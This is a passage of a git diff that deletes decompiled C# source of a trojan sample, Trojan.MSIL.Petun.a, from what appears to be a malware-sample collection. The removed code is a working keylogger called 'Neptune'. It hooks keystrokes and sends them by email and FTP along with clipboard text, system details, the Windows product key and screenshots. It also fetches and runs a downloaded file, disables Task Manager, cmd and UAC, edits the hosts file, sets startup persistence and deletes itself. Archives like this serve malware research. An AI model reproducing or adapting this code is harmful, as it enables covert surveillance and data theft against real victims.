"+"; - if (Operators.CompareString(Left, "107", false) == 0) - Left = "*"; - if (Operators.CompareString(Left, "111", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "44", false) == 0) - { - Left = " [SS] "; - break; - } - break; - } - } - } - else if (wParam == 257 | wParam == 261) - { - switch (lParam.vkCode) - { - case 160: - case 161: - if (!Module1.sBRrq) - Left = "[/CcnhzjGp]"; - Module1.CcnhzjGp = false; - break; - case 162: - case 163: - Left = "[/ctrl]"; - break; - case 164: - Left = "[/lalt]"; - break; - case 165: - Left = "[/ralt]"; - break; - } - } - Module1.mjHqB += Left; - if (Operators.CompareString(Left, "", false) == 0) - ; - num = Module1.CallNextHookEx((int) Module1.KeyboardHandle, Code, wParam, lParam); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - num = Conversions.ToInteger(""); - ProjectData.ClearProjectError(); - } -label_130: - return num; - } - - [STAThread] - public static void Main() - { - if (!Module1.SDDate.Contains("SDDate+") && DateTime.Compare(DateAndTime.Today.Date, Conversions.ToDate(Module1.SDDate)) == 0) - Module1.hglWdkB(); - if (!Module1.Delay.Contains("DelOff+")) - Module1.jMReb(Conversions.ToInteger(Module1.Delay)); - string mkdZkC = Module1.MkdZkC; - Module1.MkdZkC = Operators.CompareString(mkdZkC, "AaD", false) != 0 ? (Operators.CompareString(mkdZkC, "FaF", false) != 0 ? (Operators.CompareString(mkdZkC, "MaD", false) != 0 ? (Operators.CompareString(mkdZkC, "SaF", false) != 0 ? (Operators.CompareString(mkdZkC, "WaF", false) != 0 ? Module1.MkdZkC : Module1.FWIMma) : Module1.mdrCkk) : Module1.Mcgiaz) : Module1.eTyuut) : Module1.klHJSp; - Module1.pwbonEHK = Module1.TripleDESDecode(Module1.pwbonEHK, "System.Net"); - Module1.zEScxLxk = Module1.TripleDESDecode(Module1.zEScxLxk, "System.Net"); - Module1.RcWoXu = Module1.TripleDESDecode(Module1.RcWoXu, "System.Net"); - Module1.esBCL = Module1.TripleDESDecode(Module1.esBCL, "System.Net"); - Module1.MXoELN = "\\" + Module1.MXoELN; - if (Operators.CompareString(Application.StartupPath, Module1.MkdZkC, false) != 0) - { - if (!Module1.Message[0].Contains("MsgFalse+")) - { - MessageBoxIcon messageBoxIcon = new MessageBoxIcon(); - MessageBoxIcon integer = (MessageBoxIcon) Conversions.ToInteger(Module1.Message[2]); - int num = (int) MessageBox.Show(Module1.Message[1], Module1.Message[0], MessageBoxButtons.OK, integer); - } - if (System.IO.File.Exists(Module1.MkdZkC + Module1.MXoELN)) - ProjectData.EndApp(); - if (Module1.FRMsg) - { - string str1; - if (Module1.xEzMPe) - { - ref string local1 = ref Module1.uNhzuk; - ref string local2 = ref Module1.pwbonEHK; - ref string local3 = ref Module1.zEScxLxk; - ref string local4 = ref Module1.KkvpIFbx; - string str2 = "[First Run] Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str2; - str1 = "Hello, this is an email letting you know that your keylogger has been freshly installed on the computer in the title. Thank you."; - ref string local6 = ref str1; - int integer = Conversions.ToInteger(Module1.UrmQSyTY); - ref int local7 = ref integer; - ref bool local8 = ref Module1.TakeScrns; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.UrmQSyTY = Conversions.ToString(integer); - } - if (Module1.DEenzc) - { - ref string local9 = ref Module1.dPVct; - ref string local10 = ref Module1.pvPXN; - ref string local11 = ref Module1.RcWoXu; - ref string local12 = ref Module1.esBCL; - str1 = "Hello, this is a message letting you know that you keylogger has been installed on " + Environment.MachineName + "."; - ref string local13 = ref str1; - Module1.UpFTP(ref local9, ref local10, ref local11, ref local12, ref local13); - } - } - if (Module1.jpJRGmh) - { - if (System.IO.File.Exists(Path.GetTempPath() + Module1.yLzwqJG)) - System.IO.File.Delete(Path.GetTempPath() + Module1.yLzwqJG); - MyProject.Computer.Network.DownloadFile(Module1.ONdTVNm, Path.GetTempPath() + Module1.yLzwqJG); - if (System.IO.File.Exists(Path.GetTempPath() + Module1.yLzwqJG)) - { - if (Module1.rGQyyll) - Process.Start(Path.GetTempPath() + Module1.yLzwqJG, Conversions.ToString(new ProcessStartInfo().WindowStyle == ProcessWindowStyle.Normal)); - else - Process.Start(Path.GetTempPath() + Module1.yLzwqJG); - } - } - if (Module1.mYzWi) - { - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 8", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 1", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 2", AppWinStyle.Hide); - } - if (Module1.npWqvE == 2) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System ", "DisableTaskMgr", (object) "1"); - if (Module1.UXmIJT) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoRun", (object) "1"); - if (Module1.JDsYhh) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoViewContextMenu", (object) "1"); - if (Module1.ONdgjb) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - if (Module1.mPThrM) - Interaction.Shell("C:\\Windows\\System32\\ONdgjb.exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", AppWinStyle.Hide); - if (Module1.Vuigas) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, Module1.MkdZkC + Module1.MXoELN); - Process.Start(Module1.MkdZkC + Module1.MXoELN); - if (Operators.CompareString(Module1.zNmmOW, "Melt", false) == 0) - Module1.hglWdkB(); - else if (Operators.CompareString(Module1.zNmmOW, "Hide", false) == 0) - new FileInfo(Application.ExecutablePath).Attributes = FileAttributes.Hidden; - ProjectData.EndApp(); - } - if (new cXBQjE(Module1.lMmxrK).IsRunning()) - Environment.Exit(0); - try - { - if (Operators.CompareString(Module1.mCueNP, "CurrentUser", false) == 0 | Operators.CompareString(Module1.mCueNP, "LocalMachine", false) == 0) - ROS.set_Runonstartup((string) null, ROS.StartupCheckCriteria.Either, true); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num = (int) Interaction.MsgBox((object) ex.Message); - ProjectData.ClearProjectError(); - } - if (Module1.YuCJnB.Length != 4) - { - string[] strArray = Strings.Split(Module1.YuCJnB, ","); - int index = 0; - while (index < strArray.Length) - { - string str = strArray[index]; - System.IO.File.AppendAllText(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\drivers\\etc\\hosts", "\r\n127.0.0.1 " + str); - checked { ++index; } - } - } - Module1.wevh(); - switch (Module1.npWqvE) - { - case 3: - new Thread(new ThreadStart(Module1.WtoSU)).Start(); - break; - case 4: - zQTWO.Running = true; - break; - } - if (Module1.SSTime) - new Thread(new ThreadStart(Module1.TimedSS)).Start(); - while (true) - { - try - { - do - { - Module1.WaitEx(); - } - while (Operators.CompareString(Module1.mjHqB, "", false) == 0 & Module1.NoEL); - string str = ""; - if (Module1.uFnma) - str = str + "System Information - \r\n" + Module1.iLeKh() + "\r\n"; - if (Module1.oInLd) - str = str + "Clipboard: " + Clipboard.GetText(); - Module1.mjHqB = str + Module1.mjHqB; - Module1.LastCheckedForegroundTitle = ""; - new Thread(new ThreadStart(Module1.pMiHNJ)).Start(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - - public static void TimedSS() - { - while (true) - { - do - { - Module1.WaitEx1(); - if (Module1.xEzMPe) - { - ref string local1 = ref Module1.uNhzuk; - ref string local2 = ref Module1.pwbonEHK; - ref string local3 = ref Module1.zEScxLxk; - ref string local4 = ref Module1.KkvpIFbx; - string str1 = "Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str1; - string str2 = "Attached is a screenshot of the victim in the title."; - ref string local6 = ref str2; - int integer = Conversions.ToInteger(Module1.UrmQSyTY); - ref int local7 = ref integer; - bool flag = true; - ref bool local8 = ref flag; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.UrmQSyTY = Conversions.ToString(integer); - } - } - while (!Module1.DEenzc); - Module1.UpFTPImg(ref Module1.dPVct, ref Module1.pvPXN, ref Module1.RcWoXu, ref Module1.esBCL); - } - } - - public static void WaitEx1() - { - Thread thread = new Thread(new ThreadStart(Module1.WT1)); - thread.Start(); - thread.Join(); - } - - public static void WT1() => Thread.Sleep(checked ((int) Math.Round(unchecked (Conversions.ToDouble(Module1.SSInt) * 60.0 * 1000.0)))); - - public static void pMiHNJ() - { - string mjHqB = Module1.mjHqB; - Module1.mjHqB = ""; - if (Module1.xEzMPe) - { - ref string local1 = ref Module1.uNhzuk; - ref string local2 = ref Module1.pwbonEHK; - ref string local3 = ref Module1.zEScxLxk; - ref string local4 = ref Module1.KkvpIFbx; - string str = "Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str; - ref string local6 = ref mjHqB; - int integer = Conversions.ToInteger(Module1.UrmQSyTY); - ref int local7 = ref integer; - ref bool local8 = ref Module1.TakeScrns; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.UrmQSyTY = Conversions.ToString(integer); - } - if (!Module1.DEenzc) - return; - Module1.UpFTP(ref Module1.dPVct, ref Module1.pvPXN, ref Module1.RcWoXu, ref Module1.esBCL, ref mjHqB); - } - - public static void WaitEx() - { - Thread thread = new Thread(new ThreadStart(Module1.WT)); - thread.Start(); - thread.Join(); - } - - public static void WT() => Thread.Sleep(checked ((int) Math.Round(unchecked (Conversions.ToDouble(Module1.KrJuyZ) * 60.0 * 1000.0)))); - - private static void jMReb(int interval) - { - Stopwatch stopwatch = new Stopwatch(); - stopwatch.Start(); - while (stopwatch.ElapsedMilliseconds < (long) interval) - Application.DoEvents(); - stopwatch.Stop(); - } - - private static string GetWindowsKey() - { - object Instance = (object) (NewLateBinding.LateGet((object) Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", false), (System.Type) null, "GetValue", new object[1] - { - (object) "DigitalProductId" - }, (string[]) null, (System.Type[]) null, (bool[]) null) as byte[]); - if (Instance == null) - return "value was nothing!"; - char[] chArray = new char[29]; - int index = 28; - do - { - if (checked (index + 1) % 6 == 0) - { - chArray[index] = '-'; - } - else - { - object Operand = (object) 0; - int num = 66; - do - { - object Left = Operators.OrObject(Operators.LeftShiftObject(Operand, (object) 8), NewLateBinding.LateIndexGet(Instance, new object[1] - { - (object) num - }, (string[]) null)); - NewLateBinding.LateIndexSet(Instance, new object[2] - { - (object) num, - (object) Conversions.ToByte(Operators.IntDivideObject(Left, (object) 24)) - }, (string[]) null); - Operand = Operators.ModObject(Left, (object) 24); - chArray[index] = "BCDFGHJKMPQRTVWXY2346789"[Conversions.ToInteger(Operand)]; - checked { num += -1; } - } - while (num >= 52); - } - checked { index += -1; } - } - while (index >= 0); - return new string(chArray); - } - - public static string sPyKQ(object Bytes) - { - string str; - try - { - if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1073741824, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), (object) 1024), "#0.00") + " GB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1048576, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), "#0.00") + " MB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1024, false)) - { - str = Strings.Format(Operators.DivideObject(Bytes, (object) 1024), "#0.00") + " KB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectLess(Bytes, (object) 1024, false)) - { - str = Conversions.ToString(Operators.ConcatenateObject(Conversion.Fix(RuntimeHelpers.GetObjectValue(Bytes)), (object) " Bytes")); - goto label_10; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = "0 Bytes"; - ProjectData.ClearProjectError(); - goto label_10; - } - return "0 Bytes"; -label_10: - return str; - } - - public static string iLeKh() => "Machine Name: " + Environment.MachineName + "\r\n" + "Current User: " + Environment.UserName + "\r\n" + "Operating System: " + Module1.GenerateOperatingSystem() + "\r\n" + "Windows Key: " + Module1.GetWindowsKey() + "\r\n" + "Available Physical Memory: " + Module1.sPyKQ((object) MyProject.Computer.Info.AvailablePhysicalMemory.ToString()) + "\r\n" + "Available Virtual Memory: " + Module1.sPyKQ((object) MyProject.Computer.Info.AvailableVirtualMemory.ToString()) + "\r\n" + "System Directory: " + Environment.SystemDirectory + "\r\n" + "Local Time: " + DateAndTime.Now.ToString(); - - public static string GenerateOperatingSystem() - { - OperatingSystem osVersion = Environment.OSVersion; - string operatingSystem = "UN"; - switch (osVersion.Platform) - { - case PlatformID.Win32Windows: - switch (osVersion.Version.Minor) - { - case 0: - operatingSystem = "95"; - break; - case 10: - operatingSystem = "98"; - break; - case 90: - operatingSystem = "ME"; - break; - } - break; - case PlatformID.Win32NT: - switch (osVersion.Version.Major) - { - case 3: - operatingSystem = "NT"; - break; - case 4: - operatingSystem = "NT"; - break; - case 5: - if (osVersion.Version.Minor == 0) - { - operatingSystem = "2K"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "XP"; - break; - } - if (osVersion.Version.Minor == 2) - { - operatingSystem = "2K3"; - break; - } - break; - case 6: - operatingSystem = "VS"; - if (osVersion.Version.Minor == 0) - { - operatingSystem = "VS"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "W7"; - break; - } - break; - } - break; - } - return operatingSystem; - } - - public static void WtoSU() - { -label_0: - Module1.jMReb(300); - Process[] processes = Process.GetProcesses(); - int index = 0; - while (index < processes.Length) - { - Process process = processes[index]; - if (process.MainWindowTitle.Contains("Windows Task Manager")) - { - process.Kill(); - Module1.jMReb(700); - } - checked { ++index; } - } - goto label_0; - } - - [DllImport("kernel32", EntryPoint = "GetModuleFileNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int GetModuleFileName(int hModule, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpFileName, int nSize); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ExitProcess(uint uExitCode); - - [DllImport("kernel32", EntryPoint = "MoveFileExW", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int MoveFile([MarshalAs(UnmanagedType.LPTStr), In] string lpExistingFileName, [MarshalAs(UnmanagedType.LPTStr), In] string lpNewFileName, long dwFlags); - - public static void hglWdkB() - { - string executablePath1 = Application.ExecutablePath; - string executablePath2 = Application.ExecutablePath; - int moduleFileName = Module1.GetModuleFileName(0, ref executablePath2, 256); - Module1.MoveFile(Strings.Left(executablePath1, moduleFileName), Path.GetTempPath() + "\\tm" + DateTime.Now.Millisecond.ToString() + ".tmp", 8L); - Module1.ExitProcess(0U); - } - - public static string UpFTP( - ref string uNhzuk, - ref string Dir, - ref string pwbonEHK, - ref string zEScxLxk, - ref string upStr) - { - string str1; - try - { - string str2 = "\\" + Module1.LT + ".txt"; - string str3 = Path.GetTempPath() + str2; - System.IO.File.WriteAllText(str3, upStr); - MyProject.Computer.Network.UploadFile(str3, "ftp://" + uNhzuk + Dir + str2, pwbonEHK, zEScxLxk); - if (Module1.TakeScrns) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - MyProject.Computer.Network.UploadFile(Path.GetTempPath() + str2 + ".gif", "ftp://" + uNhzuk + Dir + str2 + ".gif", pwbonEHK, zEScxLxk); - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - } - System.IO.File.Delete(str3); - str1 = "FTP information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "FTP information is invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - public static string UpFTPImg( - ref string Host, - ref string Dir, - ref string Username, - ref string Password) - { - string str1; - try - { - string str2 = "\\" + Module1.LT; - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - MyProject.Computer.Network.UploadFile(Path.GetTempPath() + str2 + ".gif", "ftp://" + Host + Dir + str2 + ".gif", Username, Password); - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - str1 = "FTP information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "FTP information is invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - public static string SendEmail( - ref string SMTP, - ref string Froma, - ref string Password, - ref string Recipient, - ref string Subject, - ref string Body, - ref int Port, - ref bool TakePic = false) - { - string str1; - try - { - MailMessage message = new MailMessage(); - message.From = new MailAddress(Froma); - message.To.Add(Recipient); - message.Subject = Subject; - message.Body = Body; - SmtpClient smtpClient = new SmtpClient(SMTP); - string str2 = "\\" + Module1.LT; - if (TakePic) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - Attachment attachment = new Attachment(Path.GetTempPath() + str2 + ".gif"); - message.Attachments.Add(attachment); - } - smtpClient.Port = Port; - smtpClient.EnableSsl = true; - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(Froma, Password); - smtpClient.Send(message); - if (Module1.TakeScrns) - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - str1 = "Email information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "Email information invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - private static string TripleDESEncode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - MemoryStream memoryStream = new MemoryStream(checked (value.Length * 2 - 1)); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write); - byte[] bytes = Encoding.UTF8.GetBytes(value); - cryptoStream.Write(bytes, 0, bytes.Length); - cryptoStream.FlushFinalBlock(); - byte[] numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Convert.ToBase64String(numArray); - } - - public static string TripleDESDecode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - byte[] buffer = Convert.FromBase64String(value); - MemoryStream memoryStream = new MemoryStream(value.Length); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write); - cryptoStream.Write(buffer, 0, buffer.Length); - cryptoStream.FlushFinalBlock(); - byte[] numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Encoding.UTF8.GetString(numArray); - } - - public struct NViKdJh - { - public int vkCode; - public int scanCode; - public int flags; - public int time; - public int dwExtraInfo; - } - - public enum PtraOjZ - { - K_Backspace = 8, - K_Tab = 9, - K_Return = 13, // 0x0000000D - K_Shift = 16, // 0x00000010 - K_Control = 17, // 0x00000011 - K_Alt = 18, // 0x00000012 - K_Pause = 19, // 0x00000013 - K_CapsLock = 20, // 0x00000014 - K_Esc = 27, // 0x0000001B - K_Space = 32, // 0x00000020 - RhwSGPmhL = 35, // 0x00000023 - nsPWdIVUk = 36, // 0x00000024 - K_Left = 37, // 0x00000025 - K_Up = 38, // 0x00000026 - K_Right = 39, // 0x00000027 - K_Down = 40, // 0x00000028 - K_PrintScreen = 44, // 0x0000002C - PyhjEg = 45, // 0x0000002D - dcElDosTt = 46, // 0x0000002E - K_0 = 48, // 0x00000030 - K_1 = 49, // 0x00000031 - K_2 = 50, // 0x00000032 - K_3 = 51, // 0x00000033 - K_4 = 52, // 0x00000034 - K_5 = 53, // 0x00000035 - K_6 = 54, // 0x00000036 - K_7 = 55, // 0x00000037 - K_8 = 56, // 0x00000038 - K_9 = 57, // 0x00000039 - K_A = 65, // 0x00000041 - K_B = 66, // 0x00000042 - K_C = 67, // 0x00000043 - K_D = 68, // 0x00000044 - K_E = 69, // 0x00000045 - K_F = 70, // 0x00000046 - K_G = 71, // 0x00000047 - K_H = 72, // 0x00000048 - K_I = 73, // 0x00000049 - K_J = 74, // 0x0000004A - K_K = 75, // 0x0000004B - K_L = 76, // 0x0000004C - K_M = 77, // 0x0000004D - K_N = 78, // 0x0000004E - K_O = 79, // 0x0000004F - K_P = 80, // 0x00000050 - K_Q = 81, // 0x00000051 - K_R = 82, // 0x00000052 - K_S = 83, // 0x00000053 - K_T = 84, // 0x00000054 - K_U = 85, // 0x00000055 - K_V = 86, // 0x00000056 - K_W = 87, // 0x00000057 - K_X = 88, // 0x00000058 - K_Y = 89, // 0x00000059 - K_Z = 90, // 0x0000005A - K_LWin = 91, // 0x0000005B - K_RWin = 92, // 0x0000005C - K_Numpad0 = 96, // 0x00000060 - K_Numpad1 = 97, // 0x00000061 - K_Numpad2 = 98, // 0x00000062 - K_Numpad3 = 99, // 0x00000063 - K_Numpad4 = 100, // 0x00000064 - K_Numpad5 = 101, // 0x00000065 - K_Numpad6 = 102, // 0x00000066 - K_Numpad7 = 103, // 0x00000067 - K_Numpad8 = 104, // 0x00000068 - K_Numpad9 = 105, // 0x00000069 - K_Num_Multiply = 106, // 0x0000006A - K_Num_Add = 107, // 0x0000006B - K_Num_Subtract = 109, // 0x0000006D - K_Num_Decimal = 110, // 0x0000006E - K_Num_Divide = 111, // 0x0000006F - K_F1 = 112, // 0x00000070 - K_F2 = 113, // 0x00000071 - K_F3 = 114, // 0x00000072 - K_F4 = 115, // 0x00000073 - K_F5 = 116, // 0x00000074 - K_F6 = 117, // 0x00000075 - K_F7 = 118, // 0x00000076 - K_F8 = 119, // 0x00000077 - K_F9 = 120, // 0x00000078 - K_F10 = 121, // 0x00000079 - K_F11 = 122, // 0x0000007A - K_F12 = 123, // 0x0000007B - K_F13 = 124, // 0x0000007C - K_F14 = 125, // 0x0000007D - K_F15 = 126, // 0x0000007E - K_F16 = 127, // 0x0000007F - K_F17 = 128, // 0x00000080 - K_F18 = 129, // 0x00000081 - K_F19 = 130, // 0x00000082 - K_F20 = 131, // 0x00000083 - K_F21 = 132, // 0x00000084 - K_F22 = 133, // 0x00000085 - K_F23 = 134, // 0x00000086 - K_F24 = 135, // 0x00000087 - K_NumLock = 144, // 0x00000090 - K_LShift = 160, // 0x000000A0 - K_RShift = 161, // 0x000000A1 - CVojYENOM = 162, // 0x000000A2 - FwVkdNvxS = 163, // 0x000000A3 - K_LAlt = 164, // 0x000000A4 - K_RAlt = 165, // 0x000000A5 - K_Subtract = 189, // 0x000000BD - K_Decimal = 190, // 0x000000BE - } - - private delegate int KeyboardHookDelegate(int Code, int wParam, ref Module1.NViKdJh lParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/My/MyApplication.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/My/MyApplication.cs deleted file mode 100644 index 9a62d710..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: zdjęcia, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 30920A46-087C-4BFD-A402-030FE541EA37 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/My/MyComputer.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/My/MyComputer.cs deleted file mode 100644 index 4f78b4c6..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: zdjęcia, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 30920A46-087C-4BFD-A402-030FE541EA37 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/My/MyProject.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/My/MyProject.cs deleted file mode 100644 index 78b68407..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/My/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: zdjęcia, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 30920A46-087C-4BFD-A402-030FE541EA37 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [HideModuleName] - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - 